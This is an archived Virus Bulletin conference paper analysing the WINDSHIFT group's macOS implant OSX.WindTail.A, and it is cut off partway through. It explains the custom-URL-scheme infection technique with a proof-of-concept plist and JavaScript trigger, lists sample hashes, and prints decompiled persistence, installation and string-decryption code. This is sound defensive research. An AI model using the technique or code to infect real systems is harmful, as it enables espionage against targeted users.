{
	"id": "a71e480f-c732-4421-9381-fda673fe1732",
	"created_at": "2026-04-06T00:16:19.022642Z",
	"updated_at": "2026-04-10T13:12:40.528459Z",
	"deleted_at": null,
	"sha1_hash": "512479da6af4e92b9d86b6eb8a5fcf5e9f21df9d",
	"title": "Virus Bulletin :: VB2019 paper: Cyber espionage in the Middle East: Unravelling OSX.WindTail",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2016378,
	"plain_text": "Virus Bulletin :: VB2019 paper: Cyber espionage in the Middle East:\r\nUnravelling OSX.WindTail\r\nArchived: 2026-04-05 20:00:32 UTC\r\nPatrick Wardle\r\nJamf, USA\r\nAbstract\r\nIt’s no secret that many nation states possess offensive macOS cyber capabilities, though such capabilities are rarely publicly\r\nuncovered. However, when such tools are detected, they provide unparalleled insight into the operations and techniques\r\nutilized by advanced adversaries. In this paper, we’ll comprehensively dissect one such tool, OSX.WindTail.A, the first-stage macOS implant utilized by the WINDSHIFT APT group (which targeted individuals of a Middle-Eastern government).\r\nAfter analysing the malware’s unique infection vector, we’ll discuss its method of persistence and its capabilities. To\r\nconclude, we’ll present heuristic methods that can generically detect OSX.WindTail.A, as well as other advanced macOS\r\nthreats.\r\nBackground\r\nAt the Hack in the Box GSEC cybersecurity conference, Taha Karim (head of the malware research labs at DarkMatter)\r\npresented some rather intriguing research [1].\r\nIn his presentation, he detailed a new APT group (WINDSHIFT) that engaged in highly targeted cyber-espionage\r\ncampaigns. A Forbes article [2] also covered Karim’s research, and noted that:\r\n‘[The APT] targeted specific individuals working in government departments and critical infrastructure across the Middle\r\nEast.’ [2]\r\nIn his talk, Karim discussed the WINDSHIFT APT group and provided an overview both of their macOS exploitation\r\ntechniques and of their malware (OSX.WindTail.A, OSX.WindTail.B and OSX.WindTape). However, deeper technical\r\nconcepts were not covered (probably due to time constraints).\r\nNote: The aim of this paper is not simply to regurgitate Karim’s excellent research. Instead, it aims to build from it by diving\r\nfar deeper into the technical details of both the exploitation mechanism and the malware (OSX.WindTail.A) utilized by\r\nWINDSHIFT.\r\nIn this paper we’ll first cover the technical aspects of the rather novel exploitation mechanism employed by the attackers.\r\nFollowing this, we’ll dissect WINDSHIFT’s first-stage macOS implant (OSX.WindTail.A) by detailing its method of\r\npersistence, its capabilities and detection. Finally, we’ll (briefly) discuss various heuristic methods that can generically\r\ndetect OSX.WindTail.A as well as other sophisticated macOS threats.\r\nRemote Mac exploitation (via custom URL schemes)\r\nIn order to remotely infect their macOS targets, the WINDSHIFT APT group abused macOS’s support for custom URL\r\nschemes. Although user interaction was required, it was minimal and could be ‘influenced’ by the attacker. Moreover, the\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 1 of 29\n\nfact that this infection vector succeeded in the wild (against government targets in the Middle East) illustrates that the\r\nrequirement for such user interactions unfortunately did not prevent infections.\r\nIn this section of the paper, we’ll first discuss custom document and URL schemes from the point of view of macOS.\r\nFollowing this, we’ll illustrate exactly how the WINDSHIFT APT group abused custom URL schemes to remotely infect\r\ntheir targets.\r\nOn macOS, applications can ‘advertise’ that they support (or ‘handle’) various document types and/or custom URL schemes.\r\nThink of it as an application saying, ‘if a user tries to open a document of type foo or a URL with a scheme of bar, I can\r\nhandle that!’. You’ve surely encountered this feature of macOS. For example, when one double-clicks a .pdf document,\r\nPreview.app is automatically launched to handle the document. Meanwhile, in a browser, clicking a link to an application in\r\nthe official Mac App Store launches Apple’s App Store.app to process the request. Unfortunately, the way Apple decided to\r\nimplement (specifically, ‘register’) document handlers and custom URL schemes leaves them ripe for abuse!\r\nNote: Though document handlers and URL schemes are slightly different, from an OS point of view, they are essential the\r\nsame (and thus implemented in similar manners).\r\nPrevious research by the author [3] discussed a piece of adware (Mac File Opener) that abused custom document handlers as\r\na stealthy way to achieve persistence. In short, as the malware ‘advertised’ that it supported over 200 types of files,\r\nwhenever the user opened one of these file types, the malware would automatically be launched by the OS to handle (in\r\ntheory to display) the document. Persistence with a twist!\r\nNote: If there is already an application registered for a file type (e.g. .pdf, .html, etc.), it appears that it cannot (easily?) be\r\nusurped.\r\nDuring the course of said research, the first question was: how did the Mac File Opener adware (or any application for that\r\nmatter) ‘advertise’ which files it supported (and thus should be automatically invoked when such a documented was\r\naccessed by the user)? Secondly, how does the OS process and register this information? As the answers to both questions\r\nare detailed in [3], reading that paper is recommended, but we’ll briefly summarize them here as well.\r\nSo how does an application tell the OS what type(s) of file it is capable of handling? The answer is in its Info.plist file. As\r\nnoted, the Mac File Opener adware ‘supports’ over 200 file types, which can be confirmed by dumping its Info.plist (note\r\nthe ‘Document types’ array), as shown in Figure 1.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 2 of 29\n\nFigure 1: Mac\r\nFile Opener adware ‘supports’ over 200 file types, as confirmed by dumping its Info.plist.\r\nIn the ‘raw’ Info.plist, this information is stored in the CFBundleDocumentTypes array. Apple states:\r\n‘CFBundleDocumentTypes (Array - iOS, OS X) contains an array of dictionaries that associate one or more document types\r\nwith your app. Each dictionary is called a type-definition dictionary and contains keys used to define the document.’ [4]\r\nBelow, observe Mac File Opener’s entry for the file type .7z (7Zip). Note the CFBundleTypeExtensions key, whose value is\r\nset to the file extension the adware claims to handle:\r\n$ cat \"Mac File Opener.app/Contents/Info.plist\"\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://\r\nwww.apple.com/DTDs/PropertyList-1.0.dtd\"\u003e\r\n\u003cplist version=\"1.0\"\u003e\r\n\u003cdict\u003e\r\n \u003ckey\u003eBuildMachineOSBuild\u003c/key\u003e\r\n \u003cstring\u003e14F27\u003c/string\u003e\r\n \u003ckey\u003eCFBundleDevelopmentRegion\u003c/key\u003e\r\n \u003cstring\u003een\u003c/string\u003e\r\n \u003ckey\u003eCFBundleDocumentTypes\u003c/key\u003e\r\n \u003carray\u003e\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 3 of 29\n\n\u003cdict\u003e\r\n\u003ckey\u003eCFBundleTypeExtensions\u003c/key\u003e\r\n   \u003carray\u003e\r\n    \u003cstring\u003e7z\u003c/string\u003e\r\n   \u003c/array\u003e\r\n   \u003ckey\u003eCFBundleTypeName\u003c/key\u003e\r\n   \u003cstring\u003eDocumentType\u003c/string\u003e\r\n   \u003ckey\u003eCFBundleTypeOSTypes\u003c/key\u003e\r\n   \u003carray\u003e\r\n    \u003cstring\u003e????\u003c/string\u003e\r\n   \u003c/array\u003e\r\n   \u003ckey\u003eCFBundleTypeRole\u003c/key\u003e\r\n   \u003cstring\u003eViewer\u003c/string\u003e\r\n   \u003ckey\u003eLSHandlerRank\u003c/key\u003e\r\n   \u003cstring\u003eAlternate\u003c/string\u003e\r\n   \u003ckey\u003eNSDocumentClass\u003c/key\u003e\r\n   \u003cstring\u003eDocument\u003c/string\u003e\r\n  \u003c/dict\u003e\r\n ...\r\nThe second question is answered by understanding how macOS handles the ‘registration’ of these file or ‘document’\r\nhandlers. As noted in [4], this happens automatically as soon as the application is saved to the file system.\r\nSpecifically:\r\nAn application (or malware) is downloaded (saved to the file system)\r\nThis triggers an XPC message sent to the launch services daemon (lsd)\r\nThe lsd parses the application’s Info.plist to extract and register any ‘document handlers’ to a persistent database.\r\nThis can be observed via macOS’s built-in file monitor utility, ‘fs_usage’. For example, when the Mac File Opener.app\r\nadware is saved to disk, the launch services daemon automatically parses its Info.plist file:\r\nfs_usage -w -f filesystem | grep Info.plist\r\nopen  Mac File Opener.app/Contents/Info.plist lsd.16457\r\nfstat64  F=4 lsd.16457\r\nread  F=4 B=0x18a97 lsd.16457\r\nOne can dump lsd’s database via the lsregister utility (found in /System/\r\nLibrary/Frameworks/CoreServices.framework/Frameworks/ LaunchServices.framework/Support/). When invoked with the\r\n‘-dump’ flag, it will display all applications that specify ‘document handlers’, which were automatically registered (by lsd).\r\nFor example, one can see the malicious application Mac File Opener is present, along with the documents (file types) it\r\nregistered for (e.g. .7z, etc.):\r\n$ lsregister -dump\r\n...\r\npath: /Users/user/Downloads/Mac File Opener.app\r\nname: Mac File Opener\r\nidentifier: com.pcvark.Mac-File-Opener (0x80025f61)\r\nexecutable: Contents/MacOS/Mac File Opener\r\n--------------------------------------------------------\r\nclaim id: 31508\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 4 of 29\n\nname: DocumentType\r\nrank: Alternate\r\n roles: Viewer\r\n flags: doc-type\r\n bindings: .7z\r\n...\r\nOnce an application’s (or malware’s) document handlers have (automatically!) been registered, that application will\r\nautomatically be invoked any time a user attempts to open a document whose type matches a registered handler.\r\nDigging into macOS internals, this registration is handled by the launch services framework. Specifically, the\r\n‘LSBundleCopyOrCheckNode’ method (and ‘_LSBundleCopyOrCheckNode_block_invoke’) handles this lookup (of\r\nmatching a document type to a registered application) and then the execution of registered application:\r\n(lldb) b ___LSBundleCopyOrCheckNode_block_invoke\r\n...\r\n(lldb) x/gx $rdx\r\n0x700000115c48: 0x00007fd3b4a9c520\r\n(lldb) po 0x00007fd3b4a9c520\r\n\u003cFSNode 0x7fd3b4a9c520\u003e { flags = 0x00000020, path = '/Users/user/Desktop/Mac File Opener.app' }\r\nIn summary:\r\nApplications can ‘advertise’ that they handle various documents or file types.\r\nThe OS will automatically register those ‘document handlers’ as soon as the application is saved to the file system.\r\nAs files are opened, the ‘launch services’ database is consulted to execute the appropriate application to handle (read:\r\nopen) the file.\r\nNow an examination of custom URL schemes and their handlers. Again, from the point of view of macOS, such URL\r\nscheme handlers are basically just document handlers, but for URLs.\r\nThis also means that custom URL scheme handlers:\r\nare registered automatically by macOS as soon as the application (that ‘advertises’ support for such handlers) is saved\r\nto the file system\r\nwill trigger the execution of the (automatically registered) handler application when the custom URL scheme is\r\ninvoked.\r\nAs both of these actions can be triggered from a web page, it should be easy to see where this all goes wrong!\r\nNow, let’s walk through a proof of concept, to illustrate how an attacker (such as the WINDSHIFT APT group) could abuse\r\ncustom URL scheme handlers to remotely infect a Mac (noting again that some user interaction is required).\r\nThe proof of concept is a simple macOS application. The logic of the application is irrelevant, however we must edit the\r\napp’s Info.plist file to ‘advertise’ that fact that we will support a custom URL scheme. In Xcode, we add a URL types array\r\nand specify the name of our scheme (windshift://) and a URL identifier, as shown in Figure 2.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 5 of 29\n\nFigure 2: The\r\nURL types array (CFBundleURLTypes) contains a custom URL scheme and a URL identifier.\r\nExamining the raw Info.plist illustrates that this maps to keys such as CFBundleURLTypes, CFBundleURLSchemes and\r\nCFBundleURLName:\r\n\u003ckey\u003eCFBundleURLTypes\u003c/key\u003e\r\n\u003carray\u003e\r\n \u003cdict\u003e\r\n  \u003ckey\u003eCFBundleURLSchemes\u003c/key\u003e\r\n  \u003carray\u003e\r\n   \u003cstring\u003ewindshift\u003c/string\u003e\r\n  \u003c/array\u003e\r\n  \u003ckey\u003eCFBundleURLName\u003c/key\u003e\r\n  \u003cstring\u003ecom.foo.bar.WindShift\u003c/string\u003e\r\n \u003c/dict\u003e\r\n\u003c/array\u003e\r\nAs soon as this application is compiled (or downloaded) the launch services daemon will parse its bundle (specifically its\r\nInfo.plist), detect the presence of the custom URL scheme handlers, and register it (them). Again, note this all happens\r\nautomatically.\r\nTo confirm registration of our ‘windshift://’ URL scheme, we dump the ‘launch services’ database (via lsregister -dump).\r\nIndeed, there is the proof of concept application (WindShift.app) along with the custom URL scheme\r\n(CFBundleURLSchemes: (windshift)):\r\nBundleClass: kLSBundleClassApplication\r\nContainer mount state: mounted\r\n...\r\n path: ~/Projects/WindShift/DerivedData/WindShift/Build/Products/Debug/WindShift.app\r\n name: WindShift\r\n ....\r\n executable: Contents/MacOS/WindShift\r\n....\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 6 of 29\n\nCFBundleURLTypes = (\r\n{\r\n   CFBundleURLName = \"com.foo.bar.WindShift\";\r\n   CFBundleURLSchemes = (\r\n   windshift\r\n  );\r\n  }\r\n );\r\n}\r\nclaim id:  386204\r\n name:  com.foo.bar.WindShift\r\n rank:  Default\r\n roles: Viewer\r\n flags:  url-type\r\n bindings:  windshift:\r\nAs the custom URL handler (‘windshift’) has (automatically) been registered with the system, the proof of concept\r\napplication (Windshift.app) can be now be launched directly via a browser. To confirm, one can simply ‘browse’ to the\r\ncustom URL scheme, windshift://.\r\nWhile older versions of popular browsers would blindly launch the application, more recent versions will now request user\r\napproval:\r\nFigure 3: User approval request.\r\nEven today, if the user clicks ‘Allow’, macOS will launch the registered application:\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 7 of 29\n\nFigure 4: macOS launches the registered application.\r\nWith a sufficient understanding of custom URL schemes, we now briefly discuss how to leverage them to remotely exploit\r\nMac systems.\r\nFirst, the target must be enticed to browse to a website under the attacker’s control. As we’ll see, the WINDSHIFT APT\r\ngroup (successfully) used phishing emails for this purpose.\r\nOnce the target visits the malicious website, the website can automatically initiate the download of an archive (.zip) file that\r\ncontains the malicious application (which contains a custom URL scheme handler). If the Mac user is using Safari, the\r\narchive will be unzipped automatically, as Apple thinks it’s wise to automatically open ‘safe’ files. This fact is paramount, as\r\nit means the malicious application (vs. just a compressed zip archive) will now be on the user’s file system, which will\r\nautomatically trigger the registration of any custom URL scheme handlers!\r\nNow that the malicious app’s custom URL scheme has been registered (on the target’s system), code within the malicious\r\nweb page can load or ‘browse’ to the custom URL (for example: windshift://). This is easy to accomplish in JavaScript:\r\nlocation.replace(‘windshift://’);.\r\nBehind the scenes, macOS will look up the handler for this custom URL scheme – which, of course, is the malicious\r\napplication (that was just downloaded). Once this lookup is completed, the OS will attempt to launch the malicious\r\napplication to handle the URL request.\r\nLuckily (for Mac users), as noted, in most recent versions of Safari this will trigger a warning (as shown in Figure 3).\r\nHowever, the characters between the quotation marks in the alert are attacker-controlled, as they are the name of the\r\napplication Thus, an attacker can easily make this pop-up look rather mundane, unintimidating, or even amusing:\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 8 of 29\n\nFigure 5: The attacker controls the characters between the quotation marks.\r\nNote: Normally an application cannot have an extension such as .txt or .com. However, as the name of the application can\r\ncontain unicode characters, an attacker can leverage a homograph attack. This allows us to name the malicious application\r\nsomething like ‘Attachment.TXT’ (where the ‘X’ is really the Carian Letter X).\r\nWhile recent versions of Safari will prompt the user before launching the application that has been registered to handle\r\ncustom URL requests, older version of Safari (e.g. the default install on El Capitan) do not. Instead, such versions of Safari\r\nshow no warning and blindly attempt to launch the (malicious) application.\r\nRegardless of Safari version, an attacker will have one more hurdle: file quarantine.\r\nFile quarantine is responsible for the pop-up that is displayed when an application from the Internet is first launched.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 9 of 29\n\nFigure 6: File quarantine is responsible for the warning.\r\nFrom a security point of view, the good news is that some percentage of Mac users will click ‘Cancel’. Unfortunately, some\r\nwill not – as was demonstrated by WINDSHIFT APT’s successful attacks.\r\nNote: You might be wondering about Gatekeeper. In its default configuration, Gatekeeper allows signed applications. The\r\nmalware used by the WINDSHIFT APT group was signed (as is most Mac malware these days). So Gatekeeper doesn’t even\r\ncome into play!\r\nBefore diving into the specifics of the WINDSHIFT exploit, Figure 7 summarizes the custom URL scheme attack, with a\r\ndiagrammatic overview.\r\nFigure 7: Overview of custom URL scheme attack.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 10 of 29\n\nIn order to initiate the exploitation of their Mac targets, the WINDSHIFT APT group abused several methods including\r\nmalicious emails. Such emails would either contain the malware directly as an attachment or contain a phishing link to a\r\nmalicious site that would trigger the custom URL scheme exploit.\r\nIn his presentation [1], Karim included the image shown in Figure 8, which illustrates a malicious WINDSHIFT email (that\r\nincludes the malware as an attachment).\r\nFigure 8: Malicious WINDSHIFT email [1].\r\nThough no malware samples were shared by Karim, noted Mac security researcher Phil Stokes leveraged information\r\ncontained in the above image, (i.e. the file name: Meeting_Agenda.zip) to uncover a WINDSHIFT malware sample on\r\nVirusTotal.\r\nFile: Meeting_Agenda.app\r\nSHA-256: 842F8D9ACC11438DEF811F07EBAD5BC675DFFFBCF491F5F04209D31CCD6D18E5\r\nFigure 9: WINDSHIFT malware sample on VirusTotal.\r\nUsing the ‘similar-to:’ search modifier, the author was able to uncover three other samples (that at the time were not flagged\r\nas malicious by any anti-virus engine on the site), as shown in Figure 10.\r\nNPC_Agenda_230617.app\r\nSHA-1: FF90A290A7B9A11AE517E605ECED80920ED985E0F2CD4A6D265E72D8EE2F4802\r\nScandal_Report_2017.app\r\nSHA-1: 3085C2AD23F35A2AC0A3A87631991EEB9497DBE68D19C8DD2869578A33ECBA0D\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 11 of 29\n\nFinal_Presentation.app\r\nSHA-1: CEEBF77899D2676193DBB79E660AD62D97220FD0A54380804BC3737C77407D2F\r\nFigure 10: Three other samples were uncovered by using the ‘similar-to:’search modifier.\r\nNote that this malware (ab)uses Microsoft Office icons, probably to avoid raising suspicion.\r\nFigure 11: The malware uses Microsoft Office icons.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 12 of 29\n\nNote: For the remainder of this paper, we’ll focus on the ‘Final_Presentation’ application (SHA256:\r\nCEEBF77899D2676193DBB79E660AD62D97220FD0A54380804BC3737C77407D2F). This (and the other samples found\r\non VirusTotal) are WINDSHIFT’s first-stage macOS implant, OSX.WindTail.A.\r\nUnzipping Final_Presentation.zip reveals the Final_Presentation.app, which (as expected) is a standard macOS application\r\nbundle.\r\nFigure 12: The Final_Presentation.app is a standard macOS application bundle.\r\nThe application’s main executable is named ‘usrnode,’ as specified in the application’s Info.plist file (CFBundleExecutable:\r\nusrnode):\r\n$ cat /Users/patrick/Downloads/WindShift/Final_Presentation.app/\r\nContents/Info.plist\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cplist version=\"1.0\"\u003e\r\n\u003cdict\u003e\r\n ...\r\n \u003ckey\u003eCFBundleExecutable\u003c/key\u003e\r\n \u003cstring\u003eusrnode\u003c/string\u003e\r\n ...\r\n \u003ckey\u003eCFBundleIdentifier\u003c/key\u003e\r\n \u003cstring\u003ecom.alis.tre\u003c/string\u003e\r\n ...\r\n \u003ckey\u003eCFBundleURLTypes\u003c/key\u003e\r\n \u003carray\u003e\r\n  \u003cdict\u003e\r\n   \u003ckey\u003eCFBundleURLName\u003c/key\u003e\r\n   \u003cstring\u003eLocal File\u003c/string\u003e\r\n   \u003ckey\u003eCFBundleURLSchemes\u003c/key\u003e\r\n   \u003carray\u003e\r\n    \u003cstring\u003eopenurl2622007\u003c/string\u003e\r\n   \u003c/array\u003e\r\n  \u003c/dict\u003e\r\n \u003c/array\u003e\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 13 of 29\n\n...\r\n\u003ckey\u003eLSMinimumSystemVersion\u003c/key\u003e\r\n \u003cstring\u003e10.7\u003c/string\u003e\r\n ...\r\n \u003ckey\u003eNSUIElement\u003c/key\u003e\r\n \u003cstring\u003e1\u003c/string\u003e\r\n\u003c/dict\u003e\r\n\u003c/plist\u003e\r\nOther interesting keys in the Info.plist file include ‘LSMinimumSystemVersion’, which indicates that the (malicious)\r\napplication is compatible with rather ancient versions of OSX (10.7, Lion), and the ‘NSUIElement’ key, which tells the OS\r\nto execute the application without a dock icon or menu (i.e. hidden).\r\nHowever, the most interesting is the ‘CFBundleURLSchemes’ key (within the CFBundleURLTypes). As noted, this key\r\nholds an array of custom URL schemes that the application implements (here: openurl2622007). As previously discussed,\r\nthis allows the malware to be launched directly from a malicious web page.\r\nNote: In his presentation, Karim stated: ‘The specially crafted web page will download a file, VVIP_Contacts.zip, and will\r\ncall a URL scheme: openurl2622015’ [1]. Note that the custom URL scheme in the Final_Presentation sample closely\r\n‘matches’ this.\r\nLet’s now reverse the OSX.WindTail.A binary to uncover its method of persistence, capabilities and more!\r\nOSX.WindTail: persistence\r\nIn this part of the paper, we’ll analyse the method of persistence leveraged by OSX.WindTail to ensure it is automatically\r\n(re)started each time the infected user logs in.\r\nNote: Here, and for the remainder of this paper, we’ll analyse the OSX.WindTail.A specimen ‘Final_Presentation’\r\napplication (SHA256: CEEBF77899D2676193DBB79E660AD62D97220FD0A54380804BC3737C77407D2F). Note that\r\nthe other specimens found on VirusTotal (NPC_Agenda_230617, Scandal_Report_2017, etc.) are essentially identical.\r\nOur examination of the malware begins in the ‘main’ function of the application’s binary (‘usrnode’):\r\nint main(int argv, char** argv) {\r\n r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];\r\n rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems,\r\n     0x0);\r\n LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0,\r\n     r12, 0x0, 0x0);\r\n ...\r\n rax = NSApplicationMain(r15, r14);\r\n return rax;\r\n}\r\nAfter resolving the path to itself, the malware invokes the ‘LSSharedFileListInsertItemURL’ API. This adds a login item,\r\nwhich is a mechanism to gain persistence and ensure that the (malicious) application will automatically be (re)started every\r\ntime the user logs in. This persistence is visible via the System Preferences application.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 14 of 29\n\nFigure 13: Persistence of Final_Presentation is visible.\r\nClearly not the stealthiest persistence mechanism, but it suffices.\r\nOSX.WindTail: installation\r\nOnce the malware has persisted, the code in the main function invokes the ‘NSApplicationMain’ function, which in turn\r\ninvokes the ‘applicationDidFinishLaunching’ (delegate) method:\r\nNote: The ‘applicationDidFinishLaunching’ method is invoked automatically ‘after the application has been launched and\r\ninitialized’ [5]. Thus, when analysing malicious macOS applications, always investigate this method!\r\n-(void)applicationDidFinishLaunching:(void *)arg2 {\r\n r15 = self;\r\n r14 = [[NSDate alloc] init];\r\n rbx = [[NSDateFormatter alloc] init];\r\n [rbx setDateFormat:@\"dd-MM-YYYYHH:mm:ss\"];\r\n r14 = [[[[rbx stringFromDate:r14] componentsSeparatedByCharactersInSet:\r\n  [NSCharacterSet characterSetWithCharactersInString:cfstring____]]\r\n  componentsJoinedByString:@\"\"] stringByReplacingOccurrencesOfString:@\" \"\r\n  withString:@\"\"];\r\n rcx = [[NSBundle mainBundle] resourcePath];\r\n rbx = [NSString stringWithFormat:@\"%@/date.txt\", rcx];\r\n rax = [NSFileManager defaultManager];\r\n rdx = rbx;\r\n if ([rax fileExistsAtPath:rdx] == 0x0) {\r\n  rax = arc4random();\r\n  rax = [NSString stringWithFormat:@\"%@%@\", r14,\r\n   [[NSNumber numberWithInt:rax - (rax * 0x51eb851f \u003e\u003e 0x25) * 0x64,\r\n   (rax * 0x51eb851f \u003e\u003e 0x25) * 0x64] stringValue]];\r\n  rcx = 0x1;\r\n  r8 = 0x4;\r\n  rdx = rbx;\r\n  rax = [rax writeToFile:rdx atomically:rcx encoding:r8 error:\u0026var_28];\r\n  if (rax == 0x0) {\r\n   r8 = 0x4;\r\n   rax = [NSUserDefaults standardUserDefaults];\r\n   rcx = @\"GenrateDeviceName\";\r\n   rdx = 0x1;\r\n   [rax setBool:rdx forKey:rcx, r8];\r\n   [[NSUserDefaults standardUserDefaults] synchronize];\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 15 of 29\n\n}\r\n}\r\n  [r15 read];\r\n  [r15 tuffel];\r\n  [NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:\r\n0x0];\r\n  return;\r\n}\r\nThe code in the ‘applicationDidFinishLaunching’ delegate method performs the following:\r\n1. Generates the current date and time, saving it into a formatted string.\r\n2. Builds a path to the date.txt, found within its application bundle (Contents/Resources/date.txt).\r\n3. If this file doesn’t exist, it writes out the (formatted) date/time string and a random number.\r\n4. If this fails, it sets the ‘GenrateDeviceName’ (sic) user default key to true.\r\n5. Reads in the data from the date.txt file.\r\n6. Invokes the ‘tuffel’ method.\r\n7. Spawns a thread to execute the ‘mydel’ method.\r\nSteps 1-5 generate, and on subsequent executions (re)load, a unique identifier for the implant (e.g. 2012201800380925).\r\nThis may be observed via macOS’s built-in fs_usage utility:\r\n# fs_usage -w -filesystem | grep date.txt\r\n lstat64 /Users/user/Desktop/Final_Presentation.app/Contents/\r\n Resources/date.txt usrnode.8894\r\n open F=3 (R_____) /Users/user/Desktop/\r\n Final_Presentation.app/Contents/Resources/date.txt usrnode.8894\r\n ...\r\n # cat ~/Desktop/Final_Presentation.app/Contents/Resources/date.txt\r\n 2012201800380925\r\nNote: Such a ‘per-implant’ identifier helps a remote attacker keep track (or organize) infected hosts.\r\nOnce this logic is completed, the ‘tuffel’ method is invoked to execute the main logic of the malware which includes:\r\n1. Installation\r\n2. File collection and exfiltration\r\nLet’s take a closer look at both of these.\r\nThe install logic of the malware is (largely) handled by the ‘cp’ method. This method is invoked via the ‘init’ method of the\r\n‘appdele’ class (which is invoked in the ‘tuffel’ method).\r\n/* @class appdele */\r\n-(void)cp {\r\n r13 = self;\r\n var_30 = r13;\r\n *qword_100015f20 = [[NSFileManager alloc] init];\r\n r15 = [[NSBundle mainBundle] bundlePath];\r\n rbx = [r15 lastPathComponent];\r\n r12 = NSHomeDirectory();\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 16 of 29\n\nr8 = [r13 yoop:@\"oX0s4Qj3GiAzAnOmzGqjOA==\"];\r\nrcx = r12;\r\n rbx = [NSString stringWithFormat:@\"%@%@%@%@\", rcx, r8, @\"/\", rbx];\r\n ...\r\n if (([*qword_100015f20 copyItemAtPath:r15 toPath:rbx error:0x0] \u0026 0xff) == 0x1)\r\n  goto loc_10000297b;\r\n ...\r\nIn the ‘cp’ method, the malware constructs a path to its own application bundle via [[NSBundle mainBundle] bundlePath].\r\nAfter retrieving the bundle’s name (via the ‘lastPathComponent’ method) the malware invokes the ‘NSHomeDirectory’\r\nfunction to get the user’s home directory. And what about the encoded, encrypted string,\r\n‘oX0s4Qj3GiAzAnOmzGqjOA==’? That decrypts to ‘/Library’.\r\nOSX.WindTail: string decryption\r\nString decryption is handled via the ‘yoop’ method (which, in turn, invokes decoding and decryption helper methods):\r\n-(void *)yoop:(void *)arg2 {\r\n rax = [[[NSString alloc] initWithData:[[yu decode:arg2]\r\n  AESDecryptWithPassphrase:cfstring__] encoding:0x1]\r\n  stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];\r\n return rax;\r\n}\r\nLooking closer at the call to the decryption method (‘AESDecryptWithPassphrase’) reveals the hard-coded AES decryption\r\nkey:\r\ncfstring___100013480:\r\n 0x000000010001c1a8, 0x00000000000007d0,\r\n 0x000000010000bc2a, 0x0000000000000010 ; u\"æ$\u0026łŁńŚŽ~Ę?|!~\u003cOE\",\r\nThis is the exact same key as Karim showed in his slides [1].\r\nFigure 14: Karim showed the same key in his slides [1].\r\nTo dynamically observe string decryption, one can simply set a breakpoint within the ‘yoop’ method, and then dump the\r\n(now) decrypted strings. For example, as may be seen in the debugger output, the aforementioned string\r\n‘oX0s4Qj3GiAzAnOmzGqjOA==’ decrypts to ‘/Library’.\r\nhttps://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/\r\nPage 17 of 29\n\n(lldb)\r\n0x100002873 \u003c+125\u003e: movq 0x12bce(%rip), %rsi ; \"yoop:\"\r\n0x10000287a \u003c+132\u003e: leaq 0x10ddf(%rip), %rdx ; @\"oX0s4Qj3GiAzAnOmzGqjOA==\"\r\n0x100002881 \u003c+139\u003e: movq %r13, %rdi\r\n0x100002884 \u003c+142\u003e: callq *%r14 ; objc_msgSend\r\n...\r\n//after stepping over callq *%r14 (objc_msgSend)\r\n(lldb) po $rax\r\n/Library\r\nNote: The x64 ABI for macOS dictates that the return value of a method or function is stored in the RAX register. In other\r\nwords, once a method (or function) returns, it simply displays what’s in the RAX register to see what’s returned (e.g. the\r\ndecrypted string).\r\nReturning to the install logic in the ‘cp’ method, once string decryption has commenced, the malware builds a full path via\r\nthe ‘stringWithFormat’ method. On an infected virtual machine, this produces\r\n(lldb) po $rdi\r\n\u003cNSFileManager: 0x1001221e0\u003e\r\n//method name\r\n(lldb) x/s $rsi\r\n0x7fff6cabf632: \"copyItemAtPath:toPath:error:\"\r\n//source path\r\n(lldb) po $rdx\r\n/Users/user/Desktop/Final_Presentation.app\r\n//destination path\r\n(lldb) po $rcx\r\n/Users/user/Library/Final_Presentation.app\r\nOr passively via macOS’s built-in file monitor utility, 